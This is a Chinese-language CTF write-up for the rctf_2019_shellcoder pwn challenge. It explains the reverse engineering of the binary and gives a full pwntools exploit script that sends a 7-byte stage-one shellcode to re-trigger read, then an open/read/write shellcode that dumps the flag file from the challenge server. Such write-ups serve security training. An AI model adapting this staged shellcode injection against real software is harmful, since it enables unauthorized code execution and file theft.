手写shellcode

rctf_2019_shellcoder

分析

手写shellcode_第1张图片

逆向分析
f5报错,出现这个错误的原因就是我们的F5插件不能正确识别这个call的参数
手写shellcode_第2张图片
先找到0x45f位置,F5然后返回到报错函数F5即可
手写shellcode_第3张图片
仔细分析函数通过syscall函数进行函数调用,结合终端运行结果分析出每个函数
手写shellcode_第4张图片

jmp_rdi这个函数会跳转执行read函数读入的数据,可注入shellcode,可是只能读入7字节,
read函数的汇编代码
手写shellcode_第5张图片

将数据读入到0xF4F4F4F4F4F4F4F4即rbx寄存器存放的位置,之后将rbx赋给rdi,跳转执行rdi处的数据
看一下jmp_rdi的汇编代码,
手写shellcode_第6张图片

会先对每个寄存器清空,之后再跳转执行我们输入的数据

我们可以先输入小于7字节的数据来改变read的三个参数

mov dl,100 #1 rdx=100  这里的100随便写一个大于第二次注入的shellcode小于16位寄存器最大大小就可以
xchg rsi, rdi #3 rsi=0xF4F4F4F4F4F4F4F4,rdi=0
syscall #2 rax=0 ![请添加图片描述](https://img-blog.csdnimg.cn/854a1cf9a85342be8bf5b489da0aafa8.png)

之后程序执行后再次执行read函数,这时我们已经可以输入100字节了,输入shellcode即可,这里直接orw

exp

# coding=utf-8
from pwn import  *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = remote('node4.buuoj.cn',29849) #连接远程程序
 
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		        :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()

shellcode1 = asm('''
mov dl,100      #1  rdx=255
xchg rsi, rdi   #3  rsi=0xF4F4F4F4F4F4F4F4,rdi=0
syscall         #2  rax=0      
''')
 
shellcode2=asm('''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''')
lg('shellcode1',len(shellcode1))
lg('shellcode2',len(shellcode2))
s(shellcode1)
sleep(0.01)
s(shellcode1 + shellcode2)
itr()

你可能感兴趣的:(pwn,BUUCTF,CTF,linux,安全,python,c语言)